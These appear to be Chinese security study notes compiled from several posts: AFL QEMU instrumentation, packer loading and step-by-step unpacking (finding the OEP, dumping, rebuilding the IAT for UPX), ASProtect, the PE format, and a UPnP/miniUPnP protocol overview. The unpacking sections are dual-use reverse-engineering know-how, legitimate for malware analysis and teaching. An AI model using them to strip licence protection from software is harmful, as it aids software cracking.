12）二进制instrumentation

AFL-Fuzz对二进制黑盒目标程序的instrumentation是通过QEMU的“user emulation”模式实现的。
这样我们就可以允许跨架构的运行，比如ARM binaries运行在X86的架构上。
QEMU使用basic blocks作为翻译单元，利用QEMU做instrumentation，再使用一个和编译期instrumentation类似的guided fuzz的模型。

1
2
3
4
5
6
7

if (block_address > elf_text_start && block_address < elf_text_end) {

  cur_location = (block_address >> 4) ^ (block_address << 8);
  shared_mem[cur_location ^ prev_location]++;
  prev_location = cur_location >> 1;

}

像QEMU, DynamoRIO, and PIN这样的二进制翻译器，启动是很慢的。QEMU mode同样使用了一个fork server，和编译期一样，通过把一个已经初始化好的进程镜像，直接拷贝到新的进程中。
当然第一次翻译一个新的basic block还是有必要的延迟，为了解决这个问题AFL fork server在emulator和父进程之间提供了一个频道。这个频道用来通知父进程新添加的blocks的地址，之后吧这些blocks放到一个缓存中，以便直接复制到将来的子进程中。这样优化之后，QEMU模式对目标程序造成2-5倍的减速，相比之下，PIN造成100倍以上的减速。

13）afl-analyze工具

文件格式分析器是最小化算法的简单扩展
前面讨论过; 该工具执行一系列步行字节翻转，然后在输入文件中注释字节运行，而不是尝试删除无操作块。

壳的加载过程

壳和病毒在某些地方类似，都需要获得比原程序更早的控制权。壳修改了原程序执行文件的组织结构，从而获得控制权，但不会影响原程序正常运行。

1. 保存入口参数
   加壳程序在初始化时会保存各寄存器的值，待外壳执行完毕，再恢复各寄存器的内容，最后跳回原程序执行。通常用pushad/popad等指令保存和恢复现场环境。
2. 获取壳本身需要使用的API地址
   一般情况下，外壳的输入表中只有GetProcAddress、GetModuleHandle和LoadLibrary这三个API函数，甚至只有Kernel32.dll及GetProcAddress。如果需要其他API函数，可以通过LoadlibraryA或LoadlibraryExA将DLL文件映像映射到调用进程的地址空间中，函数返回的HINSTANCE值用于标识文件映像所映射的虚拟内存地址。
3. 解密原程序各个区块的数据
   在程序执行时，外壳将解密区块数据，使程序正常运行。
4. IAT的初始化
   IAT的填写本来由PE装载器实现，但由于在加壳时构造了一个自建输入表，并让PE文件头数据目录表中的输入表指针指向自建输入表，PE装载器转而填写自建输入表，程序的原始输入表被外壳变形后存储，IAT的填写会由外壳程序实现。外壳从头到尾扫描变形后的输入表结构，重新获得引入函数地址，填写在IAT中。
5. 重定位项的处理
   针对加壳的DLL
6. Hook API
   壳在修改原程序文件的输入表后自己模仿操作系统的流程，向输入表填充相关数据。在填充过程中，外壳可以填充Hook API代码的地址，从而获得程序控制权。
7. 跳转到OEP

通用脱壳方法

通常脱壳的基本步骤如下:
1:寻找OEP
2:转储(PS:传说中的dump)
3:修复IAT(修复导入表)
4:检查目标程序是否存在AntiDump等阻止程序被转储的保护措施,并尝试修复这些问题。
以上是脱壳的经典步骤,可能具体到不同的壳的话会有细微的差别。

寻找OEP

1. 搜索JMP或者CALL指令的机器码(即一步直达法,只适用于少数壳,包括UPX,ASPACK壳)
   对于一些简单的壳可以用这种方式来定位OEP,但是对于像AsProtect这类强壳(PS:AsProtect在04年算是强壳了,嘿嘿)就不适用了,我们可以直接搜索长跳转JMP(0E9)或者CALL(0E8)这类长转移的机器码,一般情况下(理想情况)壳在解密完原程序各个区段以后,需要一个长JMP或者CALL跳转到原程序代码段中的OEP处开始执行原程序代码。按CTRL+B组合键搜索一下JMP的机器码E9(CTRL+L查看下一个）,看看有没有这样一个JMP跳转到原程序的代码段。
2. 使用OllyDbg自带的功能定位OEP(SFX法)
   演示这种方法目标程序我们还是选择CRACKME UPX.EXE,用OD加载该程序,然后选择菜单项Options-Debugging options-SFX。该选项只有当OllyDbg发现壳的入口点位于代码段之外的时候才会起作用,壳的入口点位于代码段中的情况还是比较少见的。
3. 使用Patch过的OD来定位OEP(即内存映像法)
   正常的内存访问断点读取,写入,执行的时候都会断下来,该Patch过的OD内存访问断点仅当执行的时候才会断下来,我们可以利用这一点来定位OEP。
   UPX壳的解密例程会解密原程序的各个区段并将各个区段原始字节写回到原处,我们最好不要在解密区段的过程中断下来,说不定要断成千上万次才能到达OEP,这里有了这个Patch过的OD就方便多了,其内存访问断点仅当执行的时候才会断下来,当其在执行第一个区段中的代码时,基本上就可以断定是OEP了。
4. 堆栈平衡法(即ESP定律法)
   这种方法适用于一些古老的壳。这些壳首先会使用PUSHAD指令保存寄存器环境,在解密各个区段完毕,跳往OEP之前,会使用POPAD指令恢复寄存器环境。
   有的情况下保存寄存器环境可能不是第一条指令,但也在附近了,还有些情况下,有些壳不使用PUSHAD,而是逐一PUSH各个寄存器(例如:PUSH EAX,PUSH EBX等等),总而言之,在解密完区段,跳往OEP之前会恢复寄存器环境。
   按F7键执行PUSHAD:可以看到各个寄存器的初始值被压入到堆栈中了,这里我们可以对这些初始值设置内存或者硬件访问断点,当解密例程读取这些初始值的时候就会断下来,断下来处基本上就在OEP附近了。
   这里我们可以通过在ESP寄存器值上面单击鼠标右键选择-Follow in dump在数据窗口中定位到这些寄存器的初始值。对这些初始值的第一个字节或者前4个字节设置硬件访问断点。当壳的解密例程读取该值的时候断了下来，停在popad的下一行,紧接着下面就是跳往OEP处,说明这个方法起作用了。
5. VB应用程序定位OEP法(Native 或者 P-CODE)
   定位VB程序的OEP比较容易,因为VB应用程序都有一个特点-开始都是一个PUSH指令,紧接着一个CALL指令调用一个VB API函数。我们可以使用Patch过的OD,首先定位到VB的动态库,接着给该动态库的代码段设置内存访问断点,
   当壳的解密例程解密完原程序各个区段,接着就会断在VB DLL的第一条指令处,接着我们可以在堆栈中定位到返回地址,就可以来到OEP的下一条指令处。这里我们也可以使用前面介绍的方法-跟逐一给各个区段设置内存访问断点(使用Patch过的OD),但是很多壳会检测这种方法,所以大家可能根据需要不同的情况来尝试这不同的方法。这种方法很容易理解,我就不举例子了,以后大家如果遇到了VB程序可以试试这种方法。
6. 最后一次异常法
   如果我们在脱壳的过程中发现目标程序产生大量异常的话,就可以使用最后一次异常法,将EXCEPTIONS菜单项中的忽略各个异常的选项都勾选上,运行起来。这里我们可以看到产生了好几处异常,但是都不是位于第一个区段,说明这些异常不是在原程序运行期间发生的,是在壳的解密例程执行期间产生的异常。重新启动OD,将EXCEPTIONS菜单项中忽略的异常选项的对勾都去掉,仅保留Ignore memory access violations in KERNEL32这个选项的对勾。按SHIFT + F9忽略异常继续运行,我们直到最后一次异常。
   接着我们可以 对代码段设置内存访问断点 ,可能有人会问,为什么不在一开始设置内存访问断点呢?原因是很多壳会检测程序在开始时是否自身被设置内存访问断点,如果执行到了最后一次异常处的话,很可能已经绕过了壳的检测时机！
7. 用壳最常用的API函数来定位OEP
   将忽略的异常选项都勾选上,我们来定位一下壳最常用的API函数,比如GetProcAddress,LoadLibrary。ExitThread有些壳会用。
   使用bp GetProcAddress命令给该API函数设置一个断点。我们只需要知道壳在哪些地方调用GetProcAddress,所以我们在断下来的这一行上面单击鼠标右键选择-Breakpoint-Conditional log,来设置条件记录。将Pause program这一项勾选上Never,记录的表达式设置为[ESP],也就是记录返回地址,这样我们就能知道哪些地方调用GetProcAddress。接着在日志窗口中单击鼠标右键选择-Clear Log(清空日志)。运行起来,我们可以看到程序的主窗口弹了出来,打开日志窗口,看看最后一次GetProcAddress(排除掉第一个区段中调用的位置)是在哪里被调用的。
   我们可以在 对代码段设置内存访问断点 之前尝试一下这种方法,这样就可以绕过很多壳对内存断点的检测,但是有一些壳也会对API函数断点进行检测,所以说我们需要各种方式都尝试一下,找到最合适的。
8. 利用应用程序调用的第一个API函数来定位OEP

IAT表修复

为了确保操作系统将正确的API函数地址填充到IAT中,应该满足一下几点要求:
1:可执行文件各IAT项所在的文件偏移处必须是一个指针,指向一个字符串。
2:该字符串为API函数的名称。
如果这两项满足,就可以确保程序在启动时,操作系统会将正确的API函数地址填充到IAT中。
假如,我们当前位于被加壳程序的OEP处,我们接下来可以将程序dump出来,但是在dump之前我们必须修复IAT,为什么要修复IAT呢?难道壳将IAT破坏了吗?对,的确是这样,壳压根不需要原程序的IAT,因为被加壳程序首先会执行解密例程,读取IAT中所需要的API的名称指针,然后定位到API函数地址,将其填入到IAT中,这个时候,IAT中已经被填充了正确的API函数地址,对应的API函数名称的字符串已经不需要了,可以清除掉。
大部分的壳会将API函数名称对应的字符串以密文的形式保存到某个地址处,让Cracker们不能那么容易找到它们。

压缩壳

压缩壳的特点就是减小软件的体积，加密保护不是重点。目前，兼容性和稳定性较好的压缩壳有UPX、ASPack、PECompact等。

UPX

UPX-the Ultimate Packer for eXecutables是以命令行方式操作的可执行文件压缩程序。
UPX早期的压缩引擎是有UPX自己实现的，其3.x版本也支持LZMA第三方压缩引擎。UPX除了对目标程序进行压缩，也可以解压缩。它不包含任何反调试或保护策略。另外，UPX保护工具UPXPR、UPX-sCRAMBLER等可修改UPX加壳标志，使其自解压功能失效。

1

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file

识别UPX加壳

被加壳程序：点击按钮之后弹框

1. 导入函数很少
   未加壳程序的导入函数：
   
   加壳后的导入函数：
   

2. 使用IDA识别代码段
   只有少量的代码被识别

3. 使用OllyDbg打开程序，警告被加壳
   

4. 程序的节名包含加壳器的标识
   加壳后的程序节名为UPX0、UPX1、rsrc

5. 程序拥有不正常的节大小。例如.text节的原始数据大小为0，但虚拟大小非0
   

6. 使用加壳探测工具如PEiD
   

7. 熵值计算
   压缩或加密数据更接近于随机数据，熵值更高。如使用PEiD计算熵值
   
   PEiD计算熵值的方法：
   1.重新组织需要计算的数据
   i．以下数据不列入计算熵的范围：导出表数据、导入表数据、资源数据、重定向数据。
   ii. 尾部全0的数据不列入计算熵的范围。
   iii. PE头不列入计算熵的范围。
   2.分别计算每一部分数据的熵E和该部分数据大小S。
   3.以下列公式得到整个PE文件的熵 Entropy = ∑Ei * Si / ∑Si (i = 1,2…n)。

UPX手动脱壳

根据 栈平衡原理 寻找OEP
在编写加壳软件时，必须保证外壳初始化的现场环境（各寄存器值）与原程序的现场环境相同。因此，加壳程序在初始化时保存各寄存器的值，待外壳执行完毕后恢复寄存器的内容，最后跳转到原程序执行。通常用pushad（push eax/ecx/edx/ebx/esp/ebp/esi/edi）、popad来保存和恢复现场环境。
首先用Ollydbg加载已加壳的程序，起始代码如下：

此时现场环境（寄存器值）如下：

在执行pushad指令后，寄存器的值被压入栈中，如下所示：

此时esp指向12FFA4h，对这个地址设置硬件访问断点，然后运行程序，在调用popad恢复现场环境时会访问12FFA4h，造成中断，此时离OEP已经不远了：

1

005B5155   .- E9 9506F4FF   jmp carckUPX.004F57EF

即为跳转到OEP的指令，设置断点，跟进到004F57EF，此时我们就来到了OEP。
dump和修复IAT表的工具很多。

1. 使用Ollydump进行程序脱壳和IAT表修复。
   
   使用PEiD检查，果然壳已经脱掉！
2. 使用PETools dump和Import Reconstruct修复IAT
   使用PETools出来的程序不能运行，提示win32无法识别，这是因为IAT表没有重建。
   使用Import Reconstruct需要知道IAT表的起始位置。
   我们知道API函数的调用通常是通过间接跳转或者间接CALL来实现的。
   即JMP [XXXXXXX] or CALL [XXXXXX]，这样是直接调用IAT中保存的API函数地址。
   首先，定位到获取IAT中函数地址的跳转表,这里就是该程序将要调用到的一些API函数,我们可以看到这些跳转指令的都是以机器码FF 25开头的,有些教程里面说直接搜索二进制FF 25就可以快速的定位该跳表。
   看到整个IAT后,我们直接下拉到IAT的尾部,我们知道属于同一个动态库的API函数地址都是连续存放的,不同的动态库函数地址列表是用零隔开的。
   Import REConstructor重建IAT需要三项指标:
   1)IAT的起始地址,这里是403184,减去映像基址400000就得到了3184(RVA:相对虚拟地址)。
   2)IAT的大小
   IAT的大小 = 40328C - 403184 = 108(十六进制)
   3)OEP = 401000(虚拟地址)- 映像基址400000 = 1000(OEP的RVA)。

ASPack

ASPack是一款Win32可执行文件压缩软件，可压缩Win32可执行文件EXE、DLL、OCX，具有很高的兼容性和稳定性。

加密壳

加密壳种类较多，一些壳只保护程序，另一些壳提供额外的功能如注册、使用次数、时间限制。越有名的加密壳，其破解可能性越大。

ASProtect

这个壳在pack界当选老大是毫无异议的，当然这里的老大不仅指它的加密强度，而是在于它开创了壳的新时代，SEH,BPM断点的清除都出自这里，更为有名的当属RSA的使用，使得Demo版无法被crack成完整版本,code_dips也源于这里。IAT的处理即使到到现在看来也是很强的。他的特长在于各种加密算法的运用，这也是各种壳要学习的地方。
它可以压缩、加密、反跟踪代码、CRC校验和花指令等保护措施。
使用Blowfish、Twofish、TEA等加密算法，以RSA1024为注册密钥生成器，通过API钩子与加壳程序通信。
ASProtect为软件开发人员提供了SDK，从而实现了加密程序的内外结合。
ASProtect 1.x系列，低版本用Stripper工具可自动脱壳。ASProtect的SKE系列主要在protect OEP和SDK上采用了虚拟机技术。

加密后的特征

1. 导入函数很少
2. 程序的节名不再是典型的.text
3. 使用IDA打开，几乎没有可识别的代码
4. 使用OllyDbg打开程序，被警告该程序已加密，查找参考文本字符串都是乱码
5. 使用PEiD检查出是ASProtect加壳

PE(Portable Executable)是Win32平台下可执行文件遵守的数据格式。常见的可执行文件（如exe和dll）都是典型的PE文件。PE文件格式其实是一种数据结构，包含Windows操作系统加载管理可执行代码时所必要的信息，如二进制机器代码、字符串、菜单、图标、位图、字体等。PE文件格式规定了所有这些信息在可执行文件中如何组织。在程序被执行时，操作系统会按照PE文件格式的约定去相应地方准确定位各种类型的资源，并分别装入内存的不同区域。
PE文件格式把可执行文件分成若干个数据节（section），不同资源被存放在不同的节中，一个典型的PE文件中包含的节如下：

• .text 由编译器产生，存放着二进制的机器代码，也是反汇编和调试的对象
• .data 初始化的数据块，如宏定义、全局变量、静态变量等
• .idata 可执行文件所使用的动态链接库等外来函数与文件信息
• .rsrc 存放程序的资源，如图标、菜单等
  除此之外，还有可能有.reloc,.edata,.tls,.rdata

0x01 PE文件与虚拟内存之间的映射

虚拟内存

Windows的内存可以被分为两个层面：物理内存和虚拟内存。其中，物理内存比较复杂，需要进入Windows内核级别ring0才能看到。通常，在用户模式下，我们用调试器看到的都是虚拟内存。
如果我们把这看成银行，那么就很好理解了。

• 进程相当于储户
• 内存管理器相当于银行
• 物理内存相当于钞票
• 虚拟内存相当于存款

映射关系

1. 在漏洞挖掘中,经常需要的两种操作：

• 静态反编译工具看到的是PE文件中某条指令的位置是相对与磁盘而言的，就是所谓的 文件偏移 ，我们可能还需要知道这条指令在内存中的位置，这个位置就是虚拟内存地址(VA)
• 反过来，在调试时看到的某条指令的地址是 虚拟内存地址（VA），也就是我们需要回到PE文件中找到这条指令对应的机器码

2. 几个重要概念

• 文件偏移地址(File Offset)：
  数据在PE文件中的地址叫做文件偏移地址,可以理解为就是文件地址。这是文件在磁盘上存放相对与文件开头的偏移。
• 装载基址(Image Base):
  PE装入内存时的基地址。默认情况下，EXE文件在内存中对应的基地址是0x00400000,DLL文件是0x10000000。这些位置可能通过编译选项修改
• 虚拟内存地址(Virtual Address,VA )：
  PE文件中的指令装入内存后的地址。
• 相对虚拟地址(Relative Virtual Address, RVA)：
  相对虚拟地址是内存地址相对于映射基址的偏移量。

3. 虚拟内存地址，装载基址，相对虚拟内存地址三者之间的关系:

   VA = Image Base + RVA

4. 文件偏移地址与相对虚拟地址：
   文件偏移地址是相对于文件开始处0字节的偏移,RVA(相对虚拟地址)则是相对于装载基址0x00400000处的偏移.由于操作系统在装载时“基本”上保持PE中的数据结构，所以文件偏移地址和RVA有很大的一致性。（不是全部相同）
   PE文件中的数据按照磁盘数据标准存放，以0x200为基本单位进行组织。当一个数据节(stction)不足0x200字节时，不足的地方将用0x00填充，当一个数据节超过0x200时，下一个0x200块将分配给这个节使用。所以PE数据节大小永远是0x200的整数倍
   当代码装入后，将按照内存数据标准存放，并以0x1000字节为基本的存储单位进行组织，不足和超过的情况类似上面。因此，内存中的节总是0x1000的整倍数。
   由于内存中数据节相对于装载基址的偏移量和文件中数据节的偏移量有上述差异，所以进行文件偏移到内存地址之间的换算时，还要看所转换的地址位于第几个节内:

   文件偏移地址 = 虚拟内存地址(VA) - 装载基址(Image Base) - 节偏移
   ​ = RVA - 节偏移

5. 工具
   LordPE DLX增强版(2017..6.08)
   Resource Hacker 3.4.0
   PE viewer

0x02 链接库与函数

对于一个可执行程序，可以收集到最有用的信息就是导入表。导入函数是程序所使用的但存储在另一程序中的那些函数。通过导入函数连接，使得不必重新在多个程序中重复实现特定功能。

1. 静态链接、运行时链接与动态链接。
   静态链接：当一个库被静态链接到可执行程序时，所有这个库中的代码都会被复制到可执行程序中，这使得可执行程序增大许多，而且在分析代码时，很难区分静态链接的代码和自身代码。
   运行时链接：在恶意代码中常用（加壳或混淆时），只有当需要使用函数时，才链接到库。
   动态链接：当代码被动态链接时，宿主操作系统会在程序装载时搜索所需代码库，如果程序调用了被链接的库函数，这个函数会在代码库中执行。
   LoadLibrary和GetProcAddress允许一个程序访问系统上任何库中的函数，因此当它们被使用时，无法静态分析出程序会链接哪些函数。
   PE文件头存储了每个将被装载的库文件，以及每个会被程序使用的函数信息。
2. 工具Dependency Walker
   Dependency Walker

3. 常见dll程序
   kernel32.dll
   kernel32.dll是Windows 9x/Me中非常重要的32位动态链接库文件，属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理，当Windows启动时，kernel32.dll就驻留在内存中特定的写保护区域，使别的程序无法占用这个内存区域。
   user32.dll
   user32.dll是Windows用户界面相关应用程序接口，用于包括Windows处理，基本用户界面等特性，如创建窗口和发送消息。
   在早期32-bit 版本的Windows中，用户控件是在ComCtl32中实现的，但是一些控件的显示功能是在User32.dll中实现的。例如在一个窗口中非客户区域（边框和菜单）的绘制就是由User32.dll来完成的。User32.dll 是操作系统的一个核心控件，它和操作系统是紧密联系在一起的。也就是说，不同版本的Windows中User32.dll 是不同。因此，应用程序在不同版本的Windows中运行的时候，由于User32.dll的不同，会导致应用程序的界面通常会有微小的不同。
   gdi32.dll
   gdi32.dll是Windows GDI图形用户界面相关程序，包含的函数用来绘制图像和显示文字
   comdlg32.dll
   comdlg32.dll是Windows应用程序公用对话框模块，用于例如打开文件对话框。
   advapi32.dll
   advapi32.dll是一个高级API应用程序接口服务库的一部分，包含的函数与对象的安全性，注册表的操控以及事件日志有关。
   shell32.dll
   shell32.dll是Windows的32位外壳动态链接库文件，用于打开网页和文件，建立文件时的默认文件名的设置等大量功能。
   严格来讲，它只是代码的合集，真正执行这些功能的是操作系统的相关程序，dll文件只是根据设置调用这些程序的相关功能罢了。
   ole32.dll
   ole32.dll是对象链接和嵌入相关模块。
   odbc32.dll
   odbc32.dll是ODBC数据库查询相关文件。

4. 导入函数与导出函数
   导入函数和导出函数都是用来和其他程序和代码进行交互时使用的，通常一个DLL会实现一个或多个功能函数，然后将他们导出，使得别的程序可以导入并使用这些函数，导出函数在DLL文件中是最常见的。

0x03 PE文件的结构

1. DOS程序头(4H字节)
   包括MZ文件头和DOS插桩程序。MZ文件头开始两个字节为4D5A。
2. NT映像头(14H字节)
   存放PE整个文件信息分布的重要字段。包括：

• 签名（signature）：值为’50450000h’，字串为’PE\0\0’，可以在DOS程序头的3CH处的四个字节找到该字串的偏移位置
• 映像文件头（FileHeader）：是映像头的主要部分，包含PE文件最基本的信息。结构体为：

  1 2 3 4 5 6 7 8 9

  typedef struct _IMAGE_FILE_HEADER { WORD Machine; //运行平台 WORD NumberOfSections; //节(section)数目 DWORD TimeDateStamp; //时间日期标记 DWORD PointerToSymbolTable; //COFF符号指针，这是程序调试信息 DWORD NumberOfSymbols; //符号数 WORD SizeOfOptionalHeader; //可选部首长度，是IMAGE_OPTIONAL_HEADER的长度 WORD Characteristics; //文件属性 }

3. 可选映像头(OptionalHeader)
   包含PE文件的逻辑分布信息，共有13个域。具体结构为：

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

   typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; //代表的是文件的格式 BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; //保存着EP的RVA。也就是最先执行代码起始地址。 DWORD BaseOfCode; //表示代码段起始RVA先看他的值，是1000 DWORD BaseOfData; DWORD ImageBase; //默认装入基地址 DWORD SectionAlignment; //节区在内存中的最下单位 DWORD FileAlignment; //节区在磁盘中的最小单位 WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; //装入内存后的总尺寸 DWORD SizeOfHeaders; //头尺寸=NT映像头+节表 DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

4. 节表
   实际上是一个结构数组，其中每个结构包含了一个节的具体信息（每个结构占用28H字节）

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

   typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; //该节的实际字节数 } Misc; DWORD VirtualAddress; //本节的相对虚拟地址 DWORD SizeOfRawData; //对齐后的节尺寸 DWORD PointerToRawData; //本节在文件中的地址 DWORD PointerToRelocations; //本节调入内存后的存放位置 DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; //节的属性 } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

5. 节

• 引入函数节(.rdata/.idata)

  1 2 3 4 5 6 7 8 9 10 11 12 13 14

  typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real datetime stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR;

• 一个exe程序加载dll的IMAGE_IMPORT_DESCRIPTOR
  

HomePage
OpenWRT与miniUPnP

MiniUPnP项目提供了支持UPnP IGD(互联网网关设备)规范的软件。
在MiniUPnPd中添加了NAT-PMP和PCP支持。 对于客户端（MiniUPnPc）使用libnatpmp来支持NAT-PMP。
MiniUPnP守护程序（MiniUPnPd）支持OpenBSD，FreeBSD，NetBSD，DragonFly BSD（Open）Solaris和Mac OS X以及pf或ipfw（ipfirewall）或ipf和Linux with netfilter。 MiniUPnP客户端（MiniUPnPc）和MiniSSDPd是便携式的，可以在任何POSIX系统上运行。 MiniUPnPc也适用于MS Windows和AmigaOS（版本3和4）。

https://2014.ruxcon.org.au/assets/2014/slides/rux-soap_upnp_ruxcon2014.pptx
https://www.akamai.com/us/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf
https://www.defcon.org/images/defcon-19/dc-19-presentations/Garcia/DEFCON-19-Garcia-UPnP-Mapping.pdf

UPnP IGD客户端轻量级库和UPnP IGD守护进程

大多数家庭adsl /有线路由器和Microsoft Windows 2K/XP都支持UPnP协议。 MiniUPnP项目的目标是提供一个免费的软件解决方案来支持协议的“Internet网关设备”部分。

用于UPnP设备的Linux SDK（libupnp）对我来说似乎太沉重了。 我想要最简单的库，占用空间最小，并且不依赖于其他库，例如XML解析器或HTTP实现。 所有代码都是纯ANSI C.

miniupnp客户端库在x86 PC上编译，代码大小不到50KB。
miniUPnP守护程序比任何其他IGD守护程序小得多，因此非常适合在低内存设备上使用。 它也只使用一个进程而没有其他线程，不使用任何system（）或exec（）调用，因此保持系统资源使用率非常低。
该项目分为两个主要部分：

• MiniUPnPc，客户端库，使应用程序能够访问网络上存在的UPnP“Internet网关设备”提供的服务。 在UPnP术语中，MiniUPnPc是UPnP控制点。
• MiniUPnPd，一个守护进程，通过作为网关的linux或BSD（甚至Solaris）为您的网络提供这些服务。 遵循UPnP术语，MiniUPnPd是UPnP设备。
  开发MiniSSDPd与MiniUPnPc，MiniUPnPd和其他协作软件一起工作：1. MiniSSDPd监听网络上的SSDP流量，因此MiniUPnPc或其他UPnP控制点不需要执行发现过程，并且可以更快地设置重定向； 2. MiniSSDPd还能够代表MiniUPnPd或其他UPnP服务器软件回复M-SEARCH SSDP请求。 这对于在同一台机器上托管多个UPnP服务很有用。
  守护进程现在也可以使用netfilter用于linux 2.4.x和2.6.x. 可以使它在运行OpenWRT的路由器设备上运行。
  由于某些原因，直接使用MiniUPnP项目中的代码可能不是一个好的解决方案。
  由于代码很小且易于理解，因此为您自己的UPnP实现提供灵感是一个很好的基础。 C ++中的KTorrent UPnP插件就是一个很好的例子。

MiniUPnP客户端库的实用性

只要应用程序需要侦听传入的连接，MiniUPnP客户端库的使用就很有用。例如：P2P应用程序，活动模式的FTP客户端，IRC（用于DCC）或IM应用程序，网络游戏，任何服务器软件。

• 路由器的UPnP IGD功能的典型用法是使用MSN Messenger的文件传输。 MSN Messenger软件使用Windows XP的UPnP API打开传入连接的端口。 为了模仿MS软件，最好也使用UPnP。
• 已经为XChat做了一个补丁，以展示应用程序如何使用miniupnp客户端库。
• 传输，一个免费的软件BitTorrent客户端正在使用miniupnpc和libnatpmp。

MiniUPnP守护进程的实用性

UPnP和NAT-PMP用于改善NAT路由器后面的设备的互联网连接。 诸如游戏，IM等的任何对等网络应用可受益于支持UPnP和/或NAT-PMP的NAT路由器。最新一代的Microsoft XBOX 360和Sony Playstation 3游戏机使用UPnP命令来启用XBOX Live服务和Playstation Network的在线游戏。 据报道，MiniUPnPd正在与两个控制台正常工作。 它可能需要一个精细的配置调整。

安全

UPnP实施可能会受到安全漏洞的影响。 错误执行或配置的UPnP IGD易受攻击。 安全研究员HD Moore做了很好的工作来揭示现有实施中的漏洞：通用即插即用（PDF）中的安全漏洞。 一个常见的问题是让SSDP或HTTP/SOAP端口对互联网开放：它们应该只能从LAN访问。

协议栈

工作流程

Linux体系结构

发现

给定一个IP地址（通过DHCP获得），UPnP网络中的第一步是发现。
当一个设备被加入到网络中并想知道网络上可用的UPnP服务时，UPnP检测协议允许该设备向控制点广播自己的服务。通过UDP协议向端口1900上的多播地址239.255.255.250发送发现消息。此消息包含标头，类似于HTTP请求。此协议有时称为HTTPU（HTTP over UDP）：

1
2
3
4
5

M-SEARCH * HTTP / 1.1
主机：239.255.255.250 ：1900
MAN：ssdp：discover
MX：10
ST：ssdp：all

所有其他UPnP设备或程序都需要通过使用UDP单播将类似的消息发送回设备来响应此消息，并宣布设备或程序实现哪些UPnP配置文件。对于每个配置文件，它实现一条消息发送：

1
2
3
4
5
6
7

HTTP / 1.1 200 OK
CACHE-CONTROL：max-age = 1800
EXT：
LOCATION：http：//10.0.0.138：80 / IGD.xml
SERVER：SpeedTouch 510 4.0.0.9.0 UPnP / 1.0（DG233B00011961）
ST：urn：schemas-upnp-org：service：WANPPPConnection：1
USN：uuid：UPnP-SpeedTouch510 :: urn：schemas-upnp-org：service：WANPPPConnection：1

类似地，当一个控制点加入到网络中的时候，它也能够搜索到网络中存在的、感兴趣的设备相关信息。这两种类型的基础交互是一种仅包含少量、重要相关设备信息或者它的某个服务。比如，类型、标识和指向更详细信息的链接。
UPnP检测协议是 基于简单服务发现协议（SSDP） 的。

描述

UPnP网络的下一步是描述。当一个控制点检测到一个设备时，它对该设备仍然知之甚少。为了使控制点了解更多关于该设备的信息或者和设备进行交互，控制点必须从设备发出的检测信息中包含的URL获取更多的信息。

某个设备的UPnP描述是 XML 的方式,通过http协议，包括品牌、厂商相关信息，如型号名和编号、序列号、厂商名、品牌相关URL等。描述还包括一个嵌入式设备和服务列表，以及控制、事件传递和存在相关的URL。对于每种设备，描述还包括一个命令或动作列表，包括响应何种服务，针对各种动作的参数；这些变量描述出运行时设备的状态信息，并通过它们的数据类型、范围和事件来进行描述。

控制

UPnP网络的下一步是控制。当一个控制点获取到设备描述信息之后，它就可以向该设备发送指令了。为了实现此，控制点发送一个合适的控制消息至服务相关控制URL（包含在设备描述中）。

1
2
3
4
5
6
7

<service>
  <serviceType> urn：schemas-upnp-org：service：WANPPPConnection：1 </ serviceType>
  <serviceId> urn：upnp-org： serviceId：wanpppc：pppoa </ serviceId>
  <controlURL> / upnp / control / wanpppcpppoa </ controlURL>
  <eventSubURL> / upnp / event / wanpppcpppoa </ eventSubURL>
  <SCPDURL> /WANPPPConnection.xml </ SCPDURL>
</ service>

要发送SOAP请求，只需要controlURL标记内的URL。控制消息也是通过 简单对象访问协议（SOAP） 用XML来描述的。类似函数调用，服务通过返回动作相关的值来回应控制消息。动作的效果，如果有的话，会反应在用于刻画运行中服务的相关变量。

事件通知

下一步是事件通知。UPnP中的事件 协议基于GENA 。一个UPnP描述包括一组命令列表和刻画运行时状态信息的变量。服务在这些变量改变的时候进行更新，控制点可以进行订阅以获取相关改变。

服务通过发送事件消息来发布更新。事件消息包括一个或多个状态信息变量以及它们的当前数值。这些消息也是采用XML的格式，用通用事件通知体系进行格式化。一个特殊的初始化消息会在控制点第一次订阅的时候发送，它包括服务相关的变量名及值。为了支持多个控制点并存的情形，事件通知被设计成对于所有的控制点都平行通知。因此，所有的订阅者同等地收到所有事件通知。
